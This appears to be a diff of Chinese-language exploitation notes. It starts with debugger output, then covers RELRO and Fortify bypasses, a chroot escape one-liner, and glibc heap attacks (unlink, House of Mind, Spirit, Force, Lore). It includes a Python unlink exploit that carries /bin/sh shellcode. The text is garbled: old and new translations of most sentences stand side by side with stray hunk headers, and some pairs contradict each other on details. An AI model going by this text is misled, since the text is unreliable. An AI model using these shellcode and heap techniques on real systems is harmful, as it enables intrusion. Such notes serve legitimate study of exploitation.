Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
对于**没有启用 relro** 的二进制文件,我们可以看到 `fgets``got` 表项地址为 `0x404018`。查看内存映射,我们发现它位于 `0x404000``0x405000` 之间,具有**`rw` 权限**,意味着我们可以读取和写入它。对于**启用 relro** 的二进制文件,我们看到二进制运行时的 `got` 表地址(启用了 pie因此此地址会更改`0x555555557fd0`。在该二进制文件的内存映射中,它位于 `0x0000555555557000``0x0000555555558000` 之间,具有内存**权限 `r`**,这意味着我们只能从中读取。
那么如何**绕过**呢?我通常使用的典型绕过方法是不要写入 relro 导致只读的内存区域,并**找到另一种获取代码执行的方式**。
请注意,为了实现这一点,二进制文件在执行之前需要知道函数的地址:
* 惰性绑定在首次调用函数时搜索函数的地址。因此在执行期间GOT 需要具有写权限。
* 立即绑定:函数的地址在执行开始时解决,然后对敏感部分(如 .got、.dtors、.ctors、.dynamic、.jcr给予只读权限。`` `** ``-z relro`**`y`**`-z now\`\*\*
要检查程序是否使用立即绑定,可以执行以下操作:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
当二进制文件被加载到内存中并且第一次调用函数时会跳转到PLTProcedure Linkage Table然后跳转jmp到GOT并发现该条目尚未解析包含PLT的下一个地址。因此它调用Runtime Linker或rtfd来解析地址并将其保存在GOT中。
当调用函数时会调用PLT它包含存储函数地址的GOT的地址因此将流重定向到那里从而调用函数。然而如果这是第一次调用函数则GOT中包含的是PLT的下一条指令因此流会继续执行PLT的代码rtfd并查找函数的地址将其保存在GOT中并调用它。
将二进制文件加载到内存中时,编译器告诉它在运行程序时应该加载数据的偏移量。
懒绑定 —> 第一次调用函数时查找函数地址因此GOT具有写入权限以便在查找时将其保存在那里无需再次查找。
立即绑定 —> 加载程序时查找函数地址,并将.sections .got、.dtors、.ctors、.dynamic、.jcr的权限更改为只读。**-z relro** 和 **-z now**
尽管如此,通常程序未使用这些选项,因此这些攻击仍然可能发生。
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> 用于检查是否使用了BIND NOW
**Fortify Source -D\_FORTIFY\_SOURCE=1 or =2**
尝试识别不安全地从一个地方复制到另一个地方的函数,并将该函数更改为安全函数。
例如:\
char buf\[16];\
strcpy(but, source);
将其识别为不安全然后将strcpy()更改为\_\_strcpy\_chk(),使用缓冲区大小作为最大要复制的大小。
**=1** 或 **=2** 之间的区别是:
后者不允许**%n**来自具有写入权限的部分。此外,仅当使用前面的参数时,才能使用参数直接访问,也就是说,只有在使用了**%2$d**和**%1$d**之后才能使用**%3$d**。
要显示错误消息使用argv\[0]因此如果将其设置为另一个位置的地址如全局变量错误消息将显示该变量的内容。第191页
**Libsafe替代**
**替换Libsafe**
通过以下方式激活LD\_PRELOAD=/lib/libsafe.so.2\
或\
“/lib/libsave.so.2” > /etc/ld.so.preload
将对一些不安全函数的调用拦截并替换为安全函数。这不是标准化的仅适用于x86不适用于使用-fomit-frame-pointer编译不适用于静态编译不是所有易受攻击的函数都变得安全LD\_PRELOAD在具有suid权限的二进制文件中无效
它会将对一些不安全函数的调用拦截并替换为安全函数。这不是标准化的仅适用于x86不适用于使用-fomit-frame-pointer编译不适用于静态编译不是所有易受攻击的函数都变得安全LD\_PRELOAD在具有suid权限的二进制文件中无效
**ASCII装甲地址空间**
将共享库加载到0x00000000至0x00ffffff以便始终存在一个字节0x00。然而这实际上几乎不会阻止任何攻击尤其是在little endian中。
将共享库加载到0x00000000至0x00ffffff以便始终存在一个字节0x00。然而这实际上几乎无法阻止任何攻击尤其是在little endian中。
**ret2plt**
通过ROP调用plt中的strcpy函数并指向GOT的条目将要调用的函数system())的第一个字节复制过。然后重复此过程指向GOT+1并复制system()的第二个字节... 最后调用GOT中保存的地址即system()。
通过ROP调用plt中的strcpy函数并指向GOT的条目将要调用的函数system()的第一个字节复制过来。然后重复此过程指向GOT+1并复制system()的第二个字节... 最后调用GOT中保存的地址即system()。
**Fake EBP**
对于使用EBP作为指向参数的寄存器的函数通过修改EIP并指向system()还必须修改EBP使其指向一个具有任意两个字节的内存区域然后指向&”/bin/sh”。
**Chroot中的cages**
**使用chroot()创建cages**
debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统
管理员可以通过执行以下操作来退出这些cagesmkdir foo; chroot foo; cd ..
管理员可以通过以下方式离开其中一个cagemkdir foo; chroot foo; cd ..
**代码插**
**代码插装**
Valgrind —> 检查错误\
Memcheck\
RADReturn Address Defender\
Insure++
## **8 堆溢出:基本利用**
## **8堆溢出基本利用**
**已分配块**
@ -610,15 +325,15 @@ size | —Header\
prev\_size |\
size |\
\*fd | 指向下一个块的指针\
\*bk | 指向上一个块的指针 —Header\
\*fd | 指向前向块的指针\
\*bk | 指向后向块的指针 —Header\
\*mem | 数据
空闲块以双向链接列bin的形式存在两个空闲块永远不会相邻它们会合并
空闲块以双向链表bin的形式存在两个空闲块永远不会相邻它们会合并
在“size”中有位用于指示前一个块是否正在使用块是否通过mmap()分配块是否属于主要的arena。
在“size”中有一些位用于指示前一个块是否正在使用块是否通过mmap()分配块是否属于主要的arena。
释放块时如果相邻块中有任何一个是空闲的则通过unlink()宏将它们合并并将最大的新块传递给frontlink()以将其插入到适当的bin中。
释放块时,如果相邻块中有任何一个是空闲的则通过unlink()宏将它们合并并将最大的新块传递给frontlink()以将其插入到适当的bin中。
unlink(){\
BK = P->bk; —> 新块的BK是之前空闲块的BK\
@ -627,64 +342,64 @@ FD->bk = BK; —> 下一个块的BK指向新块\
BK->fd = FD; —> 前一个块的FD指向新块\
}
因此如果我们成功修改了P->bk为shellcode的地址并将P->fd修改为GOT或DTORS中的地址减去12可以实现:
因此如果我们成功修改了P->bk为shellcode的地址并将P->fd修改为GOT或DTORS中的一个条目的地址减去12可以实现:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
这样在程序退出时将执行shellcode。
这样在程序退出时将执行shellcode。
此外unlink()的第四条语句会写入一些内容因此shellcode必须进行修复
此外unlink()的第四条语句会写入一些内容因此shellcode必须为此进行修复:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 这将导致从shellcode的第8个字节开始写入4个字节因此shellcode的第一条指令必须是跳转指令以跳过此内容并进入一系列nop指令最终执行shellcode。
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 这将从shellcode的第8个字节开始写入4个字节因此shellcode的第一条指令必须是跳转指令以跳过此并进入一系列nop指令最终执行shellcode的其余部分
因此,利用程序:
在buffer1中插入shellcode以跳转指令开头使其跳转到nop或shellcode的其余部分。
在buffer1中插入shellcode以跳转指令开头使其跳转到nop指令或shellcode的其余部分。
在shellcode之后插入填充直到达到下一个块的prev\_size和size字段。在这些位置插入0xfffffff0用于覆盖prev\_size以设置空闲位和“-4”0xfffffffc在size中以便在第三个块中检查第二个块是否为空闲时实际上转到修改后的prev\_size告诉它第二个块是空闲的 -> 因此当free()调查时它将转到第三个块的size但实际上将转到第二个块 - 4并认为第二个块是空闲的。然后调用**unlink()**。
在shellcode之后插入填充直到达到下一个块的prev\_size和size字段。在这些位置插入0xfffffff0覆盖prev\_size以设置空闲位和“-4”0xfffffffc到size以便在第三个块检查第二个块是否空闲时实际上会到达修改后的prev\_size告诉它第二个块是空闲的 -> 这样当free()调查时它将转到第三个块的size但实际上会转到第二个块 - 4并认为第二个块是空闲的。然后调用**unlink()**。
调用unlink()时将第二个块的前几个数据用作P->fd因此将在那里插入要覆盖的地址 - 12因为在FD->bk中将地址加上12。并在该地址中插入第二个块中找到的第二个地址这应该是shellcode的地址伪造的P->bk
调用unlink()时将第二个块的前几个数据用作P->fd因此将在那里插入要覆盖的地址 - 12因为在FD->bk中将地址减去12。并在该地址中插入第二个块中找到的第二个地址我们希望它是shellcode的地址伪造的P->bk
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**prev\_size = pack("\<I”, 0xfffffff0) #希望前一个块的空闲位为1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, 让第3块的“size”向前偏移4字节指向prev\_size因为它检查第2块是否空闲的位置在这里**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #在payload开头添加8字节填充**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**got\_free = pack("\<I", 0x08048300 - 12) #free()在plt中的地址-12将被覆盖以第2次调用free时执行shellcode**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #如前所述payload以8字节填充开始**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #修改第2块got\_free指向我们将保存地址addr\_sc + 12的位置**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
**unset()反向释放(战争游戏)**
控制3个连续的chunks并按相反顺序释放
我们控制3个连续的块并按相反顺序释放它们
chunk c中放置shellcode
c中放置shellcode
使用chunk a来覆盖b使size的PREV\_INUSE位被禁用使程序认为chunk a是空闲的。
我们使用块a来覆盖块b使得size字段的PREV\_INUSE位被禁用以便它认为块a是空闲的。
此外,在头部b中覆盖size使其为-4。
此外,在块b的头部中覆盖size使其为-4。
然后程序会认为“a”是空闲的并且在一个bin中因此会调用unlink()来解除链接。但是由于头部PREV\_SIZE值为-4程序会认为“a”块实际上从b+4开始。也就是说它会对从b+4开始的块执行unlink()因此在b+12处将是指针“fd”在b+16处将是指针“bk”。
因此程序会认为“a”是空闲的并且在一个bin中因此会调用unlink()来解除它。但是由于头部的PREV\_SIZE为-4它会认为“a”块实际上从b+4开始。也就是说它会解除一个从b+4开始的块因此在b+12处将是指针“fd”在b+16处将是指针“bk”。
因此,如果在bk中放入shellcode的地址并在fd中放入函数“puts()”-12的地址我们就有了payload
因此,如果我们在bk中放置shellcode的地址并在fd中放置函数“puts()”-12的地址我们就有了有效载药
**Frontlink技术**
@ -696,31 +411,31 @@ BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 这将导致
一个可以通过数据输入函数溢出的缓冲区
一个与相邻的缓冲区应该被释放并且通过前一个缓冲区的溢出将其头部的fd字段修改
一个与相邻的缓冲区应该被释放并且通过前一个缓冲区的溢出将其头部的fd字段修改
一个要释放的缓冲区其大小大于512但小于前一个缓冲区
在第3步之前声明一个缓冲区允许覆盖其prev\_size
在第3步之前声明一个缓冲区允许覆盖其prev\_size
通过这种方式,通过无序地控制两个malloc并且通过控制一个仅释放一个的malloc我们可以进行利用。
通过这种方式,通过无序地覆盖两个malloc并且通过控制释放仅一个malloc我们可以进行利用。
**双重free()漏洞**
如果两次使用相同指针调用free()则会有两个bin指向相同地址。
如果要重新使用一个可以轻松分配。如果要使用另一个则将分配相同的空间因此我们将具有伪造的“fd”和“bk”指针这些指针是由前一个保留写入的数据伪造的
如果要重新使用一个可以轻松分配。如果要使用另一个则将分配相同的空间因此我们将具有伪造的“fd”和“bk”指针这些指针是由前一个保留写入的数据。
**After free()**
先前释放的指针被再次无控制地使用
重新使用先前释放的指针而不受控制
## **8堆溢出高级利用**
Unlink()和FrontLink()技术在修改unlink()函数被删除。
Unlink()和FrontLink()技术在修改unlink()函数被删除。
**The house of mind**
只需调用一次free()即可触发任意代码执行。有助于查找第二个块,可以被前一个块溢出并释放。
只需一次free()调用即可触发任意代码执行。有助于查找第二个块,可以被前一个块溢出并释放。
调用free()会调用public\_fREe(mem),它执行以下操作:
@ -742,11 +457,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
}
在\[1]中检查size字段的NON\_MAIN\_ARENA位可以更改此检查以返回true并执行heap\_for\_ptr()该函数对“mem”进行与操作将最不重要的2.5字节设置为0例如从0x0804a000中得到0x08000000然后访问0x08000000->ar\_ptr就像是一个heap\_info结构体
在\[1]中检查size字段的NON\_MAIN\_ARENA位可以更改以使检查返回true并执行heap\_for\_ptr()该函数对“mem”进行与操作将最不重要的2.5字节设置为0在我们的情况下从0x0804a000变为0x08000000然后访问0x08000000->ar\_ptr就像是一个heap\_info结构体
因此如果我们可以控制一个块例如在0x0804a000处并且将要释放0x081002a0处的块我们可以到达0x08100000地址并写入我们想要的内容例如0x0804a000。当释放第二个块时heap\_for\_ptr()将返回0x08100000地址因为它应用于0x081002a0的与操作从中提取前4个字节的值ar\_ptr
因此如果我们可以控制一个块例如在0x0804a000处并且将要释放的块位于**0x081002a0**我们可以到达0x08100000地址并写入我们想要的内容例如**0x0804a000**。当释放第二个块时heap\_for\_ptr()将返回0x08100000的内容因为它应用于0x081002a0的与操作从中提取前4个字节的值ar\_ptr
因此,调用\_int\_free(ar\_ptr, mem),即\_int\_free(0x0804a000, 0x081002a0)\
这样就会调用\_int\_free(ar\_ptr, mem),即**\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
@ -758,33 +473,33 @@ fwd->bk = p;
..}
如前所述我们可以控制av的值因为这是我们在要释放的块中写入的内容。
如前所述我们可以控制av的值因为它是我们写入要释放的块中的内容。
正如unsorted\_chunks所定义的那样我们知道\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
因此如果我们在av->bins\[2]中写入\_\_DTOR\_END\_\_-12的值最后一条指令将在\_\_DTOR\_END\_\_中写入第二块的地址。
因此如果我们在av->bins\[2]中写入\_\_DTOR\_END\_\_-12的值最后一条指令将在\_\_DTOR\_END\_\_中写入第二块的prev\_size地址。
也就是说,在第一个块中,我们需要在开头多次放置\_\_DTOR\_END\_\_-12的地址因为av->bins\[2]将从那里获取值
也就是说,在第一个块中,我们需要在开头多次放置\_\_DTOR\_END\_\_-12的地址因为av->bins\[2]将从那里获取值
在第二个块中借助第一个块我们将prev\_size覆盖为jump 0x0csize为某个值以激活-> NON\_MAIN\_ARENA
在第二块中通过第一个块我们将prev\_size覆盖为跳转0x0csize为某些内容以激活-> NON\_MAIN\_ARENA
然后,在第二块中放置大量的nops最后是shellcode
然后在第二块中放置大量的nops最后是shellcode
这样将调用\_int\_free(TROZO1, TROZO2),并按照指令将\_\_DTOR\_END\_\_中的地址设置为TROZO2的prev\_size它将跳转到shellcode。
这样就会调用\_int\_free(TROZO1, TROZO2),并按照指令写入\_\_DTOR\_END\_\_中第二块的prev\_size地址该地址将跳转到shellcode。
为了应用这种技术,需要满足一些要求,这些要求会使 payload 变得更加复杂。
要应用此技术需要满足一些额外要求这使得payload稍微复杂化。
这种技术已经不适用因为几乎应用了与unlink相同的补丁。它比较新指向的位置是否也指向它。
这种技术已不适用,因为几乎与 unlink 应用了相同的补丁。它会比较新指向的位置是否也指向它。
**Fastbin**
它是The house of mind的一个变体
这是 The house of mind 的一个变种
我们希望执行以下代码,通过\_int\_free()函数的第一个检查后到达:
我们希望执行以下代码,这需要通过 \_int\_free() 函数的第一个检查后才能到达:
fb = &(av->fastbins\[fastbin\_index(size)] —> 其中fastbin\_index(sz) —> (sz >> 3) - 2
fb = &(av->fastbins\[fastbin\_index(size)] —> 其中 fastbin\_index(sz) —> (sz >> 3) - 2
@ -792,61 +507,61 @@ p->fd = \*fb
\*fb = p
这样如果将“fb”设置为GOT中的一个函数的地址然后在该地址中放置被覆盖的地址。为此需要使堆区域接近dtors的地址。更准确地说av->max\_fast应该是我们将要覆盖的地址
这样如果将“fb”设置为指向 GOT 中的一个函数的地址,然后在该地址上放置被覆盖的块的地址。为此,需要使堆区域接近 dtors 的地址。更准确地说av->max\_fast 必须位于我们将要覆盖的地址处
由于The House of Mind中我们发现我们控制了av的位置。
由于 The House of Mind 中我们发现我们控制了 av 的位置。
因此如果在size字段中放入一个大小为8 + NON\_MAIN\_ARENA + PREV\_INUSE的值fastbin\_index()将返回fastbins\[-1]它将指向av->max\_fast。
因此,如果在 size 字段中放入一个大小为 8 + NON\_MAIN\_ARENA + PREV\_INUSE 的值fastbin\_index() 将返回 fastbins\[-1],它将指向 av->max\_fast。
在这种情况下av->max\_fast将被覆盖不是指向的地址而是该位置将被覆盖)。
在这种情况下av->max\_fast 将被覆盖(不是指向的地址,而是将被覆盖的位置)。
此外释放的相邻块的大小必须大于8 -> 因为我们已经说过释放块的大小为8在这个虚假块中我们只需要放置一个大于8的大小因为shellcode将放在释放的块中因此需要在虚假块的size字段之后放置一个跳转到nops的jmp指令)。
此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 8在这个虚假块中我们只需要放置一个大于 8 的大小(因为 shellcode 将放在释放的块中,所以需要在开头放置一个跳转到 nops 的 jmp)。
此外,该虚假块的大小必须小于av->system\_mem。av->system\_mem在该地址的后面1848字节。
此外,这个虚假块必须小于 av->system\_mem。av->system\_mem 位于该位置的后面 1848 字节。
由于\_DTOR\_END\_中的空值和GOT中的少量地址这些部分的任何地址都不适合被覆盖因此让我们看看如何应用fastbin来攻击堆栈。
由于 \_DTOR\_END\_ 中的空值和 GOT 中的少量地址,这些部分的任何地址都不适合被覆盖,因此让我们看看如何应用 fastbin 来攻击堆栈。
另一种攻击方式是将**av**重定向到堆栈。
另一种攻击方式是将 **av** 重定向到堆栈。
如果我们将size修改为16而不是8则fastbin\_index()将返回fastbins\[0],我们可以利用这一点来覆盖堆栈。
如果我们将 size 修改为 16 而不是 8 fastbin\_index() 将返回 fastbins\[0],我们可以利用这一点来覆盖堆栈。
为此,堆栈中不应该有任何canary或奇怪的值实际上我们必须处于以下状态4个空字节 + EBP + RET
为此,堆栈中不应该有任何 canary 或奇怪的值实际上我们必须处于这种情况4 个空字节 + EBP + RET
需要这4个空字节是因为**av**将指向这个地址,而**av**的第一个元素是必须为0的mutex
需要这 4 个空字节是因为 **av** 将位于这个地址,而 **av** 的第一个元素是 mutex其值必须为 0
**av->max\_fast**将是EBP并且将是一个值可用于绕过限制。
**av->max\_fast** 将是 EBP并且将是一个值可用于绕过限制。
**av->fastbins\[0]**将被覆盖为**p**的地址并且将成为RET从而跳转到shellcode。
**av->fastbins\[0]** 将被覆盖为 **p** 的地址,并且将成为 RET这样就会跳转到 shellcode。
此外,在**av->system\_mem**在堆栈位置之上1484字节将有足够的垃圾可帮助我们绕过检查。
此外,在 **av->system\_mem**(在堆栈位置之上1484 字节)将有足够的垃圾,可帮助我们绕过检查。
此外释放的相邻块的大小必须大于8 -> 因为我们已经说过释放块的大小为16在这个虚假块中我们只需要放置一个大于8的大小因为shellcode将放在释放的块中因此需要在虚假块的size字段之后放置一个跳转到nops的jmp指令)。
此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 16在这个虚假块中我们只需要放置一个大于 8 的大小(因为 shellcode 将放在释放的块中,所以需要在开头放置一个跳转到新虚假块的 size 字段后面的 nops)。
**The House of Spirit**
在这种情况下,我们希望有一个指向malloc的指针该指针可以被攻击者更改例如该指针位于堆栈上可能在变量溢出下方)。
在这种情况下,我们希望有一个指向 malloc 的指针,该指针可以被攻击者修改(例如,该指针位于堆栈上,可能会发生变量溢出)。
因此,我们可以使该指针指向任何地方。然而并非所有位置都是有效的虚假块的大小必须小于av->max\_fast并且更具体地等于未来malloc()调用请求的大小加8。因此如果我们知道在此脆弱指针之后会调用malloc(40)则虚假块的大小必须等于48。
因此,我们可以使该指针指向任何位置。然而,并非所有位置都是有效的,虚假块的大小必须小于 av->max\_fast并且更具体地等于未来malloc()调用请求的大小加 8。因此如果我们知道在此脆弱指针之后会调用 malloc(40),则虚假块的大小必须等于 48。
例如,如果程序要求用户输入一个数字,我们可以输入48并将可修改的malloc指针指向接下来的4个字节幸运的话这些字节可能属于EBP因此48将留在后面就像是size头部。此外ptr-4+48的地址必须满足几个条件在这种情况下ptr=EBP8 < ptr-4+48 < av->system\_mem。
例如,如果程序要求用户输入一个数字,我们可以输入 48并将可修改的 malloc 指针指向接下来的 4 个字节(可能属于 EBP这样 48 就会留在后面,就像是 size 头部)。此外,地址 ptr-4+48 必须满足几个条件在这种情况下ptr=EBP8 < ptr-4+48 < av->system\_mem。
如果这些条件满足当调用我们说过的下一个malloc即malloc(40)时将把EBP的地址分配给它。如果攻击者还可以控制写入此malloc的内容则可以覆盖EBP和EIP的地址为所需的地址。
如果这些条件满足,当调用我们说过的下一个 malloc malloc(40) 时,将把 EBP 的地址分配给它。如果攻击者还可以控制在此 malloc 中写入的内容,可以覆盖 EBP 和 EIP使其指向任何地址。
我认为这是因为这样,当调用free()释放时它会保存指向堆栈EBP处有一个完美大小的新malloc()块的地址,因此将分配该地址。
我认为这是因为这样,当调用 free() 时,它会保存指向堆栈上 EBP 的地址处有一个完美大小的新 malloc() 块,因此将分配该地址。
**The House of Force**
需要:
* 一个允许覆盖wilderness的溢出块
* 使用用户定义大小调用malloc()
* 调用malloc()的数据可以由用户定义
* 一个允许覆盖 wilderness 的溢出块
* 一个由用户定义大小的 malloc() 调用
* 一个用户可以定义数据的 malloc() 调用
首先要做的是用一个非常大的值0xffffffff覆盖wilderness块的大小这样任何足够大的内存请求都将在\_int\_malloc()中处理,而无需扩展堆
首先要做的是用一个非常大的值0xffffffff覆盖 wilderness 块的大小size,这样任何足够大的内存请求都将在不需要扩展堆的情况下在 \_int\_malloc() 中处理。
其次是修改av->top使其指向攻击者控制的内存区域如堆栈。在av->top中将放置\&EIP - 8。
其次是修改 av->top使其指向攻击者控制的内存区域如堆栈。在 av->top 中,将放置 \&EIP - 8。
我们必须覆盖av->top使其指向攻击者控制的内存区域
我们必须覆盖 av->top使其指向攻击者控制的内存区域
victim = av->top;
@ -854,58 +569,53 @@ remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim获取当前wilderness块的地址当前av->top的值remainder正好是该地址加上malloc()请求的字节数。因此,如果\&EIP-8在0xbffff224处av->top包含0x080c2788则我们必须在受控的malloc中保留的字节数为3086207644以便av->top指向$EIP-8以供下一个malloc()使用。
Victim 获取当前 wilderness 块的地址(当前 av->top的值remainder 正好是该地址加上 malloc() 请求的字节数。因此,如果 \&EIP-8 在 0xbffff224av->top 包含 0x080c2788则为了使 av->top 指向下一个 malloc() 的 $EIP-8我们需要在受控制的 malloc 中保留的数量为:
重要的是新wilderness块的大小要大于最后一个malloc()请求的大小。也就是说如果wilderness指向\&EIP-8则大小将正好位于堆栈的EBP字段中。
0xbffff224 - 0x080c2788 = 3086207644。
这样就会保存修改后的 av->top 值,下一个 malloc 将指向 EIP并且可以被覆盖。
重要的是新 wilderness 块的大小要大于最后一个 malloc() 请求的大小。也就是说,如果 wilderness 指向 \&EIP-8那么 size 将正好位于堆栈的 EBP 字段处。
**The House of Lore**
**SmallBin Corruption**
**SmallBin 损坏**
释放的块根据其大小放入相应的bin中。但在放入之前它们会被保存在unsorted bins中。释放块不会立即放入其bin中而是留在unsorted bins中。然后如果分配新块且先前释放的块可用则将其返回但如果分配更大的块则将unsorted bins中的释放块放入适当的bin中。
释放的块根据其大小放入 bin 中。但在放入之前,它们会被保存在 unsorted bins 中。释放块不会立即放入其 bin 中,而是留在 unsorted bins 中。然后,如果分配新块并且先前释放的块可以满足需求,则将其返回,但如果分配更大的块,则将 unsorted bins 中的释放块放入适当的 bin 中。
要达到易受攻击的代码内存请求必须大于av->max\_fast通常为72且小于MIN\_LARGE\_SIZE512
要达到易受攻击的代码,内存请求必须大于 av->max\_fast通常为 72且小于 MIN\_LARGE\_SIZE512
如果bin中有一个大小适当的块可用,则在解除链接后返回该块:
如果 bin 中有一个大小适当的块,则在解除链接后返回该块:
bck = victim->bk; 指向前一个块,这是我们唯一可以改的信息。
bck = victim->bk; 指向前一个块,这是我们唯一可以改的信息。
bin->bk = bck; 倒数第二个块变为最后一个块,如果bck指向堆栈则下一个分配的块将获得此地址
bin->bk = bck; 倒数第二个块变为最后一个块,如果 bck 指向堆栈,则下一个分配的块将指向此地址
bck->fd = bin; 通过使其指向bin来关闭列表
bck->fd = bin; 关闭列表,使其指向 bin
需要:
### 基本的堆溢出技术
### 基本的堆溢出攻击
- 预留两个`malloc`,使第一个可以在第二个被释放并进入其 bin 后发生溢出(即在溢出之前分配一个比第二个块更大的 `malloc`
- 由攻击者选择的地址控制被分配的 `malloc`
攻击目标如下:如果我们可以对一个堆进行溢出,而该堆下面有一个已被释放并进入其 bin 的块,我们可以修改其指针 `bk`。如果修改了 `bk` 指针,并且该块成为 bin 列表中的第一个块并被分配bin 将被欺骗,并告诉它列表的最后一个块(下一个要提供的块)位于我们设置的虚假地址(例如堆栈或 GOT。因此如果再次分配另一个块并且攻击者对其具有权限则将在所需位置给出一个块并且可以在其中写入。
在修改的块被释放后,需要分配一个比释放的块更大的块,这样修改的块将离开 unsorted bins 并进入其 bin。
一旦进入其 bin就是修改溢出以使其指针 `bk` 指向我们想要覆盖的地址的时候。
因此bin 必须等待足够多次调用 `malloc()`,以便再次使用修改后的 bin 并欺骗 bin 让其相信下一个块位于虚假地址。然后将提供我们感兴趣的块。
为了尽快执行漏洞,理想情况下是:预留易受攻击的块,预留将被修改的块,释放此块,预留比将被修改的块更大的块,修改块(漏洞),预留与受攻击块大小相同的块,并预留第二个与受攻击块大小相同的块,这将指向所选地址。
为了保护此攻击,使用了典型的“不是”块检查:检查 `bck->fd` 是否指向 victim。也就是说在我们的情况下如果堆栈中指向 victim 的伪块的 `fd*` 指针指向 victim。要绕过此保护攻击者必须能够以某种方式可能通过堆栈在适当地址写入 victim 的地址。以便看起来像一个真实的块。
- 预留两个`malloc`,使第一个可以在第二个被释放并放入其 bin 后进行溢出(即在溢出之前分配一个比第二块更大的 `malloc`
- 攻击者控制分配给其选择地址的 `malloc` 的内存
